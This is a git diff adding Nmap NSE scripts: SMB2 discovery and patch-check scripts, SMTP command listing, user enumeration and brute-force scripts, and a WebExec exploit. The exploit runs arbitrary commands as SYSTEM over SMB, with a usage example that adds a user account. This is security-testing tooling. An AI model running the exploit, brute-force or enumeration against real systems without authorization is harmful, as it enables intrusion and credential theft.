+ -- If the service DOES_NOT_EXIST, we couldn't run code
+ if not test_status and string.match(test_result, 'DOES_NOT_EXIST') then
+ stdnse.debug1("Result: Test service does not exist: probably not vulnerable")
+ msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+
+ vuln.check_results = "Could not execute code via WebExService"
+ return report:make_output(vuln)
+ end
+
+ -- At this point, we know we're vulnerable!
+ vuln.state = vulns.STATE.VULN
+
+ -- Close the handle if we got one
+ if test_status then
+ stdnse.debug1("Result: Got a handle to the test service, it's vulnerable!")
+ msrpc.svcctl_closeservicehandle(smbstate, test_result['handle'])
+ else
+ stdnse.debug1("Result: The test service exists, even though we couldn't open it (" .. test_result .. ") - it's vulnerable!")
+ end
+
+ -- Delete the service and clean up (ignore the return values because there's nothing more that we can really do)
+ webexec_command = "sc delete " .. test_service .. ""
+ stdnse.debug1("Cleaning up the test service: " .. webexec_command)
+ status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
+ msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+ smb.stop(smbstate)
+
+ return report:make_output(vuln)
+end
diff --git a/scripts/smb-webexec-exploit.nse b/scripts/smb-webexec-exploit.nse
new file mode 100644
index 0000000..06b727a
--- /dev/null
+++ b/scripts/smb-webexec-exploit.nse
@@ -0,0 +1,140 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local shortport = require "shortport"
+-- compat stuff for Nmap 7.70 and earlier
+local have_stringaux, stringaux = pcall(require, "stringaux")
+local strsplit = (have_stringaux and stringaux or stdnse).strsplit
+
+description = [[
+Attempts to run a command via WebExService, using the WebExec vulnerability.
+Given a Windows account (local or domain), this will start an arbitrary
+executable with SYSTEM privileges over the SMB protocol.
+
+The argument webexec_command will run the command directly. It may or may not
+start with a GUI. webexec_gui_command will always start with a GUI, and is
+useful for running commands such as "cmd.exe" as SYSTEM if you have access.
+
+References:
+* https://www.webexec.org
+* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
+]]
+
+---
+-- @usage
+-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_command=net user test test /add' -p139,445 <host>
+-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_gui_command=cmd' -p139,445 <host>
+--
+-- @args webexec_command The command to run on the target
+-- @args webexec_gui_command The command to run on the target with a GUI
+--
+-- @output
+-- | smb-vuln-webexec:
+-- |_ Vulnerable: WebExService could be accessed remotely as the given user!
+--
+-- | smb-vuln-webexec:
+-- | Vulnerable: WebExService could be accessed remotely as the given user!
+-- |_ ...and successfully started console command: net user test test /add
+--
+-- @see smb-vuln-webexec.nse
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit"}
+
+portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
+
+local run_command = function(smbstate, service_handle, command)
+ stdnse.debug1("Attempting to run: " .. command)
+
+ return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command))
+end
+
+action = function(host, port)
+
+ local webexec_command = stdnse.get_script_args("webexec_command")
+ local webexec_gui_command = stdnse.get_script_args("webexec_gui_command")
+
+ if not webexec_command and not webexec_gui_command then
+ return stdnse.format_output(false, "script-args webexec_command or webexec_gui_command is required to run this script")
+ end
+
+ local open_result
+ local close_result
+ local bind_result
+ local result
+
+ local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
+ if not status then
+ return stdnse.format_output(false, smbstate)
+ end
+
+ status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)
+
+ if not status then
+ smb.stop(smbstate)
+ return stdnse.format_output(false, bind_result)
+ end
+
+ local result, username, domain = smb.get_account(host)
+ if result then
+ if domain and domain ~= "" then
+ username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
+ end
+ end
+
+ -- Open the service manager
+ stdnse.debug1("Trying to open the remote service manager")
+
+ status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)
+
+ if not status then
+ smb.stop(smbstate)
+ return stdnse.format_output(false, open_result)
+ end
+
+ local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)
+
+ if open_status == false then
+ status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+ smb.stop(smbstate)
+ if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
+ return stdnse.format_output(false, "WebExService is not installed")
+ elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
+ return stdnse.format_output(false, "WebExService could not be accessed by " .. username)
+ end
+ return stdnse.format_output(false, "WebExService failed to open with an unknown status: " .. open_service_result)
+ end
+
+
+ stdnse.debug1("Successfully opened a handle to WebExService")
+
+ local output = nil
+ if webexec_command then
+ status, result = run_command(smbstate, open_service_result['handle'], 'cmd /c ' .. webexec_command)
+ if not status then
+ output = "Failed to start the service: " .. result
+ else
+ output = "Asked WebExService to run " .. webexec_command
+ end
+ end
+
+ if webexec_gui_command then
+ -- If they run both, give the first one a second to finish
+ if webexec_command then
+ stdnse.sleep(1)
+ end
+
+ status, result = run_command(smbstate, open_service_result['handle'], 'wmic process call create ' .. webexec_gui_command)
+ if not status then
+ output = "Failed to start the service: " .. result
+ else
+ output = "Asked WebExService to run " .. webexec_gui_command .. " (with a GUI)"
+ end
+ end
+
+ status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+ smb.stop(smbstate)
+ return output
+end
diff --git a/scripts/smb2-capabilities.nse b/scripts/smb2-capabilities.nse
new file mode 100644
index 0000000..1728823
--- /dev/null
+++ b/scripts/smb2-capabilities.nse
@@ -0,0 +1,129 @@
+local smb = require "smb"
+local smb2 = require "smb2"
+local stdnse = require "stdnse"
+local table = require "table"
+local nmap = require "nmap"
+
+description = [[
+Attempts to list the supported capabilities in a SMBv2 server for each
+ enabled dialect.
+
+The script sends a SMB2_COM_NEGOTIATE command and parses the response
+ using the SMB dialects:
+* 2.0.2
+* 2.1
+* 3.0
+* 3.0.2
+* 3.1.1
+
+References:
+* https://msdn.microsoft.com/en-us/library/cc246561.aspx
+]]
+
+---
+-- @usage nmap -p 445 --script smb2-capabilities <target>
+-- @usage nmap -p 139 --script smb2-capabilities <target>
+--
+-- @output
+-- | smb2-capabilities:
+-- | 2.0.2:
+-- | Distributed File System
+-- | 2.1:
+-- | Distributed File System
+-- | Leasing
+-- | Multi-credit operations
+--
+-- @xmloutput
+-- <table key="2.0.2">
+-- <elem>Distributed File System</elem>
+-- </table>
+-- <table key="2.1">
+-- <elem>Distributed File System</elem>
+-- <elem>Leasing</elem>
+-- <elem>Multi-credit operations</elem>
+-- </table>
+---
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+ local status, smbstate, overrides
+ local output = stdnse.output_table()
+ overrides = {}
+
+ -- Checking if SMB 2+ is supported in general
+ status, smbstate = smb.start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+ local max_dialect
+ status, max_dialect = smb2.negotiate_v2(smbstate)
+ smb.stop(smbstate)
+ if not status then -- None of SMB2 dialects accepted by the target
+ return false, "SMB 2+ not supported"
+ end
+ stdnse.debug2("SMB2: Dialect '%s' is the highest supported", smb2.dialect_name(max_dialect))
+
+ for i, dialect in pairs(smb2.dialects()) do
+ -- we need a clean connection for each negotiate request
+ status, smbstate = smb.start(host)
+ if(status == false) then
+ stdnse.debug1("Could not establish a connection.")
+ return nil
+ end
+ -- We set our overrides Dialects table with the dialect we are testing
+ overrides['Dialects'] = {dialect}
+ status = smb2.negotiate_v2(smbstate, overrides)
+ if status then
+ local capabilities = {}
+ stdnse.debug2("SMB2: Server capabilities: '%s'", smbstate['capabilities'])
+
+ -- We check the capabilities flags. Not all of them are supported by
+ -- every dialect but we dumb check anyway.
+ if smbstate['capabilities'] & 0x01 == 0x01 then
+ table.insert(capabilities, "Distributed File System")
+ end
+ if smbstate['capabilities'] & 0x02 == 0x02 then
+ table.insert(capabilities, "Leasing")
+ end
+ if smbstate['capabilities'] & 0x04 == 0x04 then
+ table.insert(capabilities, "Multi-credit operations")
+ end
+ if smbstate['capabilities'] & 0x08 == 0x08 then
+ table.insert(capabilities, "Multiple Channel support")
+ end
+ if smbstate['capabilities'] & 0x10 == 0x10 then
+ table.insert(capabilities, "Persistent handles")
+ end
+ if smbstate['capabilities'] & 0x20 == 0x20 then
+ table.insert(capabilities, "Directory Leasing")
+ end
+ if smbstate['capabilities'] & 0x40 == 0x40 then
+ table.insert(capabilities, "Encryption")
+ end
+ if #capabilities<1 then
+ table.insert(capabilities, "All capabilities are disabled")
+ end
+ output[smb2.dialect_name(dialect)] = capabilities
+ end
+ smb.stop(smbstate)
+ if dialect == max_dialect then
+ break
+ end
+ end
+
+ if #output>0 then
+ return output
+ else
+ stdnse.debug1("No dialects were accepted.")
+ if nmap.verbosity()>1 then
+ return "Couldn't establish a SMBv2 connection."
+ end
+ end
+end
diff --git a/scripts/smb2-security-mode.nse b/scripts/smb2-security-mode.nse
new file mode 100644
index 0000000..ae99caa
--- /dev/null
+++ b/scripts/smb2-security-mode.nse
@@ -0,0 +1,88 @@
+local smb = require "smb"
+local smb2 = require "smb2"
+local stdnse = require "stdnse"
+local table = require "table"
+local nmap = require "nmap"
+
+description = [[
+Determines the message signing configuration in SMBv2 servers
+ for all supported dialects.
+
+The script sends a SMB2_COM_NEGOTIATE request for each SMB2/SMB3 dialect
+ and parses the security mode field to determine the message signing
+ configuration of the SMB server.
+
+References:
+* https://msdn.microsoft.com/en-us/library/cc246561.aspx
+]]
+
+---
+-- @usage nmap -p 445 --script smb2-security-mode <target>
+-- @usage nmap -p 139 --script smb2-security-mode <target>
+--
+-- @output
+-- | smb2-security-mode:
+-- | 3.1.1:
+-- |_ Message signing enabled but not required
+--
+-- @xmloutput
+-- <table key="3.1.1">
+-- <elem>Message signing enabled but not required</elem>
+-- </table>
+---
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery", "default"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+ local output = stdnse.output_table()
+
+ local status, smbstate = smb.start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+ -- SMB signing configuration appears to be global so
+ -- there is no point of trying different dialects.
+ local status, dialect = smb2.negotiate_v2(smbstate)
+ if status then
+ local message_signing = {}
+ -- Signing configuration. SMBv2 servers support two flags:
+ -- * Message signing enabled
+ -- * Message signing required
+ local signing_enabled, signing_required
+ if smbstate['security_mode'] & 0x01 == 0x01 then
+ signing_enabled = true
+ end
+ if smbstate['security_mode'] & 0x02 == 0x02 then
+ signing_required = true
+ end
+ if signing_enabled and signing_required then
+ table.insert(message_signing, "Message signing enabled and required")
+ elseif signing_enabled and not(signing_required) then
+ table.insert(message_signing, "Message signing enabled but not required")
+ elseif not(signing_enabled) and not(signing_required) then
+ table.insert(message_signing, "Message signing is disabled and not required!")
+ elseif not(signing_enabled) and signing_required then
+ table.insert(message_signing, "Message signing is disabled!")
+ end
+ output[smb2.dialect_name(dialect)] = message_signing
+ -- We exit after first accepted dialect,
+ end
+
+ smb.stop(smbstate)
+ status = false
+
+ if #output>0 then
+ return output
+ else
+ stdnse.debug1("No SMB2/SMB3 dialects were accepted.")
+ if nmap.verbosity()>1 then
+ return "Couldn't establish a SMBv2 connection."
+ end
+ end
+end
diff --git a/scripts/smb2-time.nse b/scripts/smb2-time.nse
new file mode 100644
index 0000000..4b19400
--- /dev/null
+++ b/scripts/smb2-time.nse
@@ -0,0 +1,51 @@
+local os = require "os"
+local datetime = require "datetime"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local smb2 = require "smb2"
+
+description = [[
+Attempts to obtain the current system date and the start date of a SMB2 server.
+]]
+
+---
+-- @usage nmap -p445 --script smb2-time <target>
+--
+-- @output
+-- Host script results:
+-- | smb2-time:
+-- | date: 2017-07-28 03:06:34
+-- |_ start_date: 2017-07-20 09:29:49
+--
+-- @xmloutput
+-- <elem key="date">2017-07-28 03:07:57</elem>
+-- <elem key="start_date">2017-07-20 09:29:49</elem>
+---
+
+author = "Paulino Calderon <calderon()websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "default"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+ local smbstate, status
+ local output = stdnse.output_table()
+ status, smbstate = smb.start(host)
+ status = smb2.negotiate_v2(smbstate)
+
+ if status then
+ datetime.record_skew(host, smbstate.time, os.time())
+ stdnse.debug2("SMB2: Date: %s (%s) Start date:%s (%s)",
+ smbstate['date'], smbstate['time'],
+ smbstate['start_date'], smbstate['start_time'])
+ output.date = smbstate['date']
+ output.start_date = smbstate['start_date']
+ return output
+ else
+ stdnse.debug2("Negotiation failed")
+ return "Protocol negotiation failed (SMB2)"
+ end
+end
diff --git a/scripts/smb2-vuln-uptime.nse b/scripts/smb2-vuln-uptime.nse
new file mode 100644
index 0000000..6e2bd61
--- /dev/null
+++ b/scripts/smb2-vuln-uptime.nse
@@ -0,0 +1,157 @@
+local os = require "os"
+local datetime = require "datetime"
+local smb = require "smb"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local string = require "string"
+local smb2 = require "smb2"
+local table = require "table"
+
+description = [[
+Attempts to detect missing patches in Windows systems by checking the
+uptime returned during the SMB2 protocol negotiation.
+
+SMB2 protocol negotiation response returns the system boot time
+ pre-authentication. This information can be used to determine
+ if a system is missing critical patches without triggering IDS/IPS/AVs.
+
+Remember that a rebooted system may still be vulnerable. This check
+only reveals unpatched systems based on the uptime, no additional probes are sent.
+
+References:
+* https://twitter.com/breakersall/status/880496571581857793
+]]
+
+---
+-- @usage nmap -O --script smb2-vuln-uptime <target>
+-- @usage nmap -p445 --script smb2-vuln-uptime --script-args smb2-vuln-uptime.skip-os=true <target>
+--
+-- @output
+-- | smb2-vuln-uptime:
+-- | VULNERABLE:
+-- | MS17-010: Security update for Windows SMB Server
+-- | State: LIKELY VULNERABLE
+-- | IDs: ms:ms17-010 CVE:2017-0147
+-- | This system is missing a security update that resolves vulnerabilities in
+-- | Microsoft Windows SMB Server.
+-- |
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0147
+-- |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
+--
+-- @xmloutput
+-- <table key="2017-0147">
+-- <elem key="title">MS17-010: Security update for Windows SMB Server</elem>
+-- <elem key="state">LIKELY VULNERABLE</elem>
+-- <table key="ids">
+-- <elem>CVE:2017-0147</elem>
+-- <elem>ms:ms17-010</elem>
+-- </table>
+-- <table key="description">
+-- <elem>This system is missing a security update that resolves vulnerabilities in&#xa; Microsoft Windows SMB Server.&#xa;</elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0147</elem>
+-- <elem>https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</elem>
+-- </table>
+-- </table>
+--
+-- @args smb2-vuln-uptime.skip-os Ignore OS detection results and show results
+---
+
+author = "Paulino Calderon <calderon()calderonpale.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+hostrule = function(host)
+ local ms = false
+ local os_detection = stdnse.get_script_args(SCRIPT_NAME .. ".skip-os") or false
+ if host.os then
+ for k, v in pairs(host.os) do -- Loop through OS matches
+ if string.match(v['name'], "Microsoft") then
+ ms = true
+ end
+ end
+ end
+ return (smb.get_port(host) ~= nil and ms) or (os_detection)
+end
+
+local ms_vulns = {
+ {
+ title = 'MS17-010: Security update for Windows SMB Server',
+ ids = {ms = "ms17-010", CVE = "2017-0147"},
+ desc = [[
+This system is missing a security update that resolves vulnerabilities in
+ Microsoft Windows SMB Server.
+]],
+ disclosure_time = 1489471200,
+ disclosure_date = {year=2017, month=3, day=14},
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx',
+ },
+ },
+ {
+ title = 'Microsoft Kerberos Checksum Vulnerability',
+ ids = {ms = "ms14-068", CVE = "2014-6324"},
+ desc = [[
+This security update resolves a privately reported vulnerability in Microsoft
+ Windows Kerberos KDC that could allow an attacker to elevate unprivileged
+ domain user account privileges to those of the domain administrator account.
+]],
+ disclosure_time = 1416290400,
+ disclosure_date = {year=2014, month=11, day=18},
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms14-068.aspx'
+ },
+ },
+}
+
+local function check_vulns(host, port)
+ local smbstate, status
+ local vulns_detected = {}
+
+ status, smbstate = smb.start(host)
+ status = smb2.negotiate_v2(smbstate)
+
+ if not status then
+ stdnse.debug2("Negotiation failed")
+ return nil, "Protocol negotiation failed (SMB2)"
+ end
+
+ datetime.record_skew(host, smbstate.time, os.time())
+ stdnse.debug2("SMB2: Date: %s (%s) Start date:%s (%s)",
+ smbstate['date'], smbstate['time'],
+ smbstate['start_date'], smbstate['start_time'])
+ if smbstate['start_time'] == 0 then
+ stdnse.debug2("Boot time not provided")
+ return nil, "Boot time not provided"
+ end
+
+ for _, vuln in pairs(ms_vulns) do
+ if smbstate['start_time'] < vuln['disclosure_time'] then
+ stdnse.debug2("Vulnerability detected")
+ vuln.extra_info = string.format("The system hasn't been rebooted since %s", smbstate['start_date'])
+ table.insert(vulns_detected, vuln)
+ end
+ end
+
+ return true, vulns_detected
+end
+
+action = function(host,port)
+ local status, vulnerabilities
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ status, vulnerabilities = check_vulns(host, port)
+ if status then
+ for i, v in pairs(vulnerabilities) do
+ local vuln = { title = v['title'], description = v['desc'],
+ references = v['references'], disclosure_date = v['disclosure_date'],
+ IDS = v['ids']}
+ vuln.state = vulns.STATE.LIKELY_VULN
+ vuln.extra_info = v['extra_info']
+ report:add_vulns(SCRIPT_NAME, vuln)
+ end
+ end
+ return report:make_output()
+end
diff --git a/scripts/smtp-brute.nse b/scripts/smtp-brute.nse
new file mode 100644
index 0000000..ce0206c
--- /dev/null
+++ b/scripts/smtp-brute.nse
@@ -0,0 +1,140 @@
+local brute = require "brute"
+local coroutine = require "coroutine"
+local creds = require "creds"
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against SMTP servers using either LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5 or NTLM authentication.
+]]
+
+---
+-- @usage
+-- nmap -p 25 --script smtp-brute <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 25/tcp open stmp syn-ack
+-- | smtp-brute:
+-- | Accounts
+-- | braddock:jules - Valid credentials
+-- | lane:sniper - Valid credentials
+-- | parker:scorpio - Valid credentials
+-- | Statistics
+-- |_ Performed 1160 guesses in 41 seconds, average tps: 33
+--
+-- @args smtp-brute.auth authentication mechanism to use LOGIN, PLAIN,
+-- CRAM-MD5, DIGEST-MD5 or NTLM
+
+-- Version 0.1
+-- Created 07/15/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+portrule = shortport.port_or_service({ 25, 465, 587 },
+ { "smtp", "smtps", "submission" })
+
+local mech
+
+-- By using this connectionpool we don't need to reconnect the socket
+-- for each attempt.
+ConnectionPool = {}
+
+Driver =
+{
+
+ -- Creates a new driver instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param pool an instance of the ConnectionPool
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the server (retrieves a connection from the pool)
+ connect = function( self )
+ self.socket = ConnectionPool[coroutine.running()]
+ if ( not(self.socket) ) then
+ self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
+ if ( not(self.socket) ) then return false end
+ ConnectionPool[coroutine.running()] = self.socket
+ end
+ return true
+ end,
+
+ -- Attempts to login to the server
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @return status true on success, false on failure
+ -- @return brute.Error on failure and creds.Account on success
+ login = function( self, username, password )
+ local status, err = smtp.login( self.socket, username, password, mech )
+ if ( status ) then
+ smtp.quit(self.socket)
+ ConnectionPool[coroutine.running()] = nil
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ if ( err:match("^ERROR: Failed to .*") ) then
+ self.socket:close()
+ ConnectionPool[coroutine.running()] = nil
+ local err = brute.Error:new( err )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ -- Disconnects from the server (release the connection object back to
+ -- the pool)
+ disconnect = function( self )
+ return true
+ end,
+
+}
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
+ if ( not(socket) ) then return fail("Failed to connect to SMTP server") end
+ local status, response = smtp.ehlo(socket, smtp.get_domain(host))
+ if ( not(status) ) then return fail("EHLO command failed, aborting ...") end
+ local mechs = smtp.get_auth_mech(response)
+ if ( not(mechs) ) then
+ return fail("Failed to retrieve authentication mechanisms form server")
+ end
+ smtp.quit(socket)
+
+ local mech_prio = stdnse.get_script_args("smtp-brute.auth")
+ mech_prio = ( mech_prio and { mech_prio } ) or
+ { "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
+
+ for _, mp in ipairs(mech_prio) do
+ for _, m in pairs(mechs) do
+ if ( mp == m ) then
+ mech = m
+ break
+ end
+ end
+ if ( mech ) then break end
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+
+ for _, sock in pairs(ConnectionPool) do sock:close() end
+
+ return result
+end
diff --git a/scripts/smtp-commands.nse b/scripts/smtp-commands.nse
new file mode 100644
index 0000000..abf5854
--- /dev/null
+++ b/scripts/smtp-commands.nse
@@ -0,0 +1,131 @@
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to use EHLO and HELP to gather the Extended commands supported by an
+SMTP server.
+]]
+
+---
+-- @usage
+-- nmap --script smtp-commands.nse [--script-args smtp-commands.domain=<domain>] -pT:25,465,587 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
+-- | smtp-commands: SMTP.domain.com Hello [172.x.x.x], TURN, SIZE, ETRN, PIPELINING, DSN, ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY, X-EXPS GSSAPI NTLM LOGIN, X-EXPS=LOGIN, AUTH GSSAPI NTLM LOGIN, AUTH=LOGIN, X-LINK2STATE, XEXCH50, OK
+-- |_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH TURN ETRN BDAT VRFY
+--
+-- @args smtp.domain or smtp-commands.domain Define the domain to be used in the SMTP commands.
+
+-- changelog
+-- 1.1.0.0 - 2007-10-12
+-- + added HELP command in addition to EHLO
+-- 1.2.0.0 - 2008-05-19
+-- + made output single line, comma-delimited, instead of
+-- CR LF delimited on multi-lines
+-- + was able to use regular text and not hex codes
+-- 1.3.0.0 - 2008-05-21
+-- + more robust handling of problems
+-- + uses verbosity and debugging to decide if you need to
+-- see certain errors and if the output is in a line or
+-- in , for lack of a better word, fancy format
+-- + I am not able to do much testing because my new ISP blocks
+-- traffic going to port 25 other than to their mail servers as
+-- a "security" measure.
+-- 1.3.1.0 - 2008-05-22
+-- + minor tweaks to get it working when one of the requests fails
+-- but not both of them.
+-- 1.5.0.0 - 2008-08-15
+-- + updated to use the nsedoc documentation system
+-- 1.6.0.0 - 2008-10-06
+-- + Updated gsubs to handle different formats, pulls out extra spaces
+-- and normalizes line endings
+-- 1.7.0.0 - 2008-11-10
+-- + Better normalization of output, remove "250 " from EHLO output,
+-- don't comma-separate HELP output.
+-- 2.0.0.0 - 2010-04-19
+-- + Complete rewrite based off of Arturo 'Buanzo' Busleiman's SMTP open
+-- relay detector script.
+-- 2.0.1.0 - 2010-04-27
+-- + Incorporated advice from Duarte Silva (http://seclists.org/nmap-dev/2010/q2/277)
+-- - 'domain' can be specified via a script-arg
+-- - removed extra EHLO command that was redundant and not needed
+-- - fixed two quit()s to include a return value
+-- + To reiterate, this is a blatant cut and paste job of Arturo 'Buanzo'
+-- Busleiman's SMTP open relay detector script and Duarte Silva's SMTP
+-- user enumeration script.
+-- Props to them for doing what they do and letting me ride on their coattails.
+-- 2.1.0.0 - 2011-06-01
+-- + Rewrite the script to use the smtp.lua library.
+
+author = "Jasey DePriest"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.port_or_service({ 25, 465, 587 },
+ { "smtp", "smtps", "submission" })
+
+function go(host, port)
+ local options = {
+ timeout = 10000,
+ recv_before = true,
+ ssl = true,
+ }
+
+ local domain = stdnse.get_script_args('smtp-commands.domain') or
+ smtp.get_domain(host)
+
+ local result, status = {}
+ -- Try to connect to server.
+ local socket, response = smtp.connect(host, port, options)
+ if not socket then
+ return false, string.format("Couldn't establish connection on port %i",
+ port.number)
+ end
+
+ status, response = smtp.ehlo(socket, domain)
+ if not status then
+ return status, response
+ end
+
+ response = response:gsub("\r", "") -- switch to simple LF line termination
+ :gsub("^%s*(.-)%s*$", "%1") -- trim leading and trailing whitespace
+ :gsub("%f[^\0\n]250[-%s]+", "") -- remove line prefix 250 or 250-
+ :gsub("\n", ", ") -- LF to comma
+ :gsub("%s+", " ") -- get rid of extra spaces
+ table.insert(result,response)
+
+ status, response = smtp.help(socket)
+ if status then
+ response = response:gsub("\r", "") -- switch to simple LF line termination
+ :gsub("^%s*(.-)%s*$", "%1") -- trim leading and trailing whitespace
+ :gsub("%f[^\0\n]214[-%s]+", "") -- remove line prefix 214 or 214-
+ :gsub("%s+", " ") -- get rid of extra spaces
+ table.insert(result,response)
+ smtp.quit(socket)
+ end
+
+ return true, result
+end
+
+action = function(host, port)
+ local status, result = go(host, port)
+
+ -- The go function returned false, this means that the result is a simple error message.
+ if not status then
+ return result
+ else
+ if #result > 0 then
+ local final = {}
+ for index, test in ipairs(result) do
+ table.insert(final, test)
+ end
+ return table.concat(final, "\n ")
+ end
+ end
+end
diff --git a/scripts/smtp-enum-users.nse b/scripts/smtp-enum-users.nse
new file mode 100644
index 0000000..5affee2
--- /dev/null
+++ b/scripts/smtp-enum-users.nse
@@ -0,0 +1,382 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+description = [[
+Attempts to enumerate the users on a SMTP server by issuing the VRFY, EXPN or RCPT TO
+commands. The goal of this script is to discover all the user accounts in the remote
+system.
+
+The script will output the list of user names that were found. The script will stop
+querying the SMTP server if authentication is enforced. If an error occurs while testing
+the target host, the error will be printed with the list of any combinations that were
+found prior to the error.
+
+The user can specify which methods to use and in which order. The script will ignore
+repeated methods. If not specified the script will use the RCPT first, then VRFY and EXPN.
+An example of how to specify the methods to use and the order is the following:
+
+<code>smtp-enum-users.methods={EXPN,RCPT,VRFY}</code>
+]]
+
+---
+-- @usage
+-- nmap --script smtp-enum-users.nse [--script-args smtp-enum-users.methods={EXPN,...},...] -p 25,465,587 <host>
+--
+-- @output
+-- Host script results:
+-- | smtp-enum-users:
+-- |_ RCPT, root
+--
+-- @args smtp.domain or smtp-enum-users.domain Define the domain to be used in the SMTP commands
+-- @args smtp-enum-users.methods Define the methods and order to be used by the script (EXPN, VRFY, RCPT)
+
+-- changelog
+-- 2010-03-07 Duarte Silva <duarte.silva@serializing.me>
+-- * First version ;)
+-- 2010-03-14 Duarte Silva
+-- * Credits to David Fifield and Ron Bowes for the following changes
+-- * Changed the way the user defines which method is used
+-- + Script now handles 252 and 550 SMTP status codes
+-- + Added the method that was used by the script to discover the users if verbosity is
+-- enabled
+-- 2011-06-03
+-- * Rewrite the script to use the smtp.lua library.
+-----------------------------------------------------------------------
+
+author = "Duarte Silva <duarte.silva@serializing.me>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth","external","intrusive"}
+
+
+portrule = shortport.port_or_service({ 25, 465, 587 },
+ { "smtp", "smtps", "submission" })
+
+STATUS_CODES = {
+ ERROR = 1,
+ NOTPERMITTED = 2,
+ VALID = 3,
+ INVALID = 4,
+ UNKNOWN = 5
+}
+
+---Counts the number of occurrences in a table. Helper function
+-- from Lua documentation http://lua-users.org/wiki/TableUtils.
+--
+-- @param from Source table
+-- @param what What element to count
+-- @return Number of occurrences
+function table_count(from, what)
+ local result = 0
+
+ for index, item in ipairs(from) do
+ if item == what then
+ result = result + 1
+ end
+ end
+ return result
+end
+
+---Creates a new table from a source without the duplicates. Helper
+-- function from Lua documentation http://lua-users.org/wiki/TableUtils.
+--
+-- @param from Source table
+-- @return New table without the duplicates
+function table_unique(from)
+ local result = {}
+
+ for index, item in ipairs(from) do
+ if (table_count(result, item) == 0) then
+ result[#result + 1] = item
+ end
+ end
+
+ return result
+end
+
